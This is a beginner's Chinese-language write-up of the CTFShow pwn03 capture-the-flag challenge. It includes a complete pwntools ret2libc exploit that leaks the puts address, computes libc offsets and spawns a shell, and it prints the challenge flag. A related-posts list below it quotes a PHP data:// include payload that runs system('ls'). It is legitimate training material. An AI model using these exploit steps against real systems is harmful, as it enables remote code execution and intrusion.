首页 > 其他分享 >CTFSHOW pwn03 WrriteUp

CTFSHOW pwn03 WrriteUp

时间:2024-09-25 17:24:55浏览次数:1  
标签:WrriteUp addr puts libc CTFSHOW io p32 recv pwn03

本文来自一个初学CTF的小白,如有任何问题请大佬们指教!

题目来源

CTFShow pwn - pwn03 (ret2libc)
https://ctf.show/challenges

思路

1.下载题目放到checksec先查一下
image

2.IDA打开题目
image

Shift + F12查看字符串发现没有system和/bin/sh,但是有libc文件。

3.用gdb的cyclic查询一下溢出所需要的大小
cyclic用法:
1.先用cyclic 40生成一段字符串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序,输入字符串
3.cyclic -l 【错误地址】获得溢出所需数据量为13

4.写exp

点击查看代码
from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('stack1')
context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x080483C0

payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4))

print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
system_addr = 0x3cd10 + libc_base_addr
bin_sh_addr = libc_base_addr + 0x17b8cf
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)

io.sendlineafter(b'32bits\n',payload2)
io.interactive()

5.得到flag
ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}

本题注意

1.题目第一次输出有一个换行符,需要p.recv()接收掉这个换行符,第二次recv到的前四个字节就是泄露出来的puts函数地址
2.本地运行时程序的libc使用的是本地/lib/i386-linux-gnu/libc.so.6这个位置的,而远程的libc是老版本的ubuntu的,所以你在打本地写的脚本与打远程的脚本两者偏移是不一样的

标签:WrriteUp,addr,puts,libc,CTFSHOW,io,p32,recv,pwn03
From: https://www.cnblogs.com/vgwl/p/18431758

相关文章

  • [CTFshow] 文件包含 78~88,116~117
    web78if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);}php伪协议,data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码?file=data://text/plain,<?=system('ls')?>?file=dat......
  • ctfshow web13
     尝试 常规姿势上传文件打开网站初步判定为文件上传漏洞。随便选择几个文件上传,提示错误不选择任何文件直接点提交也会报错打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤一头雾水,只能换个思路。 -------------------------......
  • ctfshow web红包题第二弹题解
    从今天开始记录刷题日常打开靶场平平无奇,看源代码发现如下提示get方式提交cmd参数,猜测是命令执行漏洞,先写个phpinfo();试试。有用,但报错cerror查看显示出来部分php代码,过滤了很多东西if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)) 第一个正则表达式把字母数字几乎全......
  • ctfshow-web入门-信息搜集(web1-web10)
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录web1(查看源代码)右击页面查看源代码web2(js前台拦截===无效操作)打开题目地址采用burp抓包并进行重发数据包web3(没思路的时候抓个包看看,可能会有意外收获)打开题目链接查看源码无果采用burp抓包并......
  • 关于ctfshow的web题目的文件包含题目的思考
    今日深思两个题目ctfshow的web方向的web3和web4开始有疑惑了:<?phpinclude($_GET['url']);?>这两个题目都是这句话我一眼看上去是文件包含,我发现访问到一些目录下的文件,比如etc/passwd,是能够回显的第三题的write_up是利用php伪协议去实现渗透第四题的write_up是利用网站nig......
  • 【CTF Web】CTFShow 敏感信息公布 Writeup(目录扫描+信息收集+敏感信息泄露)
    敏感信息公布10有时候网站上的公开信息,就是管理员常用密码解法用dirsearch扫描。dirsearch-uhttps://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/找到robots.txt。访问:https://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/ro......
  • 【CTF Web】CTFShow 内部技术文档泄露 Writeup(信息收集+敏感信息泄露)
    内部技术文档泄露10技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码解法用dirsearch扫描。dirsearch-uhttps://4d39f7a4-b1f8-4c9f-8946-e526f3e982af.challenge.ctf.show/没有找到有用的信息。页脚有个document。点进去,是一份pdf。访......
  • ctfshow-web入门-sql注入(web224-web230)文件类型注入、routines存储过程与函数状态、ha
    目录1、web2242、web2253、web2264、web2275、web2286、web2297、web2301、web224登录页面测了下没发现注入点存在robots.txt访问/pwdreset.php  ,是管理员密码重置的页面直接重置密码,这里以123456为例使用admin/123456登录 来到一个文件生成界......
  • 【CTF刷题4】ctfshow刷题web部分wp(3)
    题目来源:ctfshow菜狗杯算力超群考点:抓包,eval()函数利用,漏洞利用打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。随便计算下然后抓个包发现是get方法,改参数让它报错。发现eval()函数。python语言,用危险函数eval()进行运算。这里我们使用沙......
  • 【CTFWP】ctfshow-web351-358
    文章目录前言web351web352web353web354web355web356web357web358前言ctfshow的web入门的ssrf靶场web351<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,......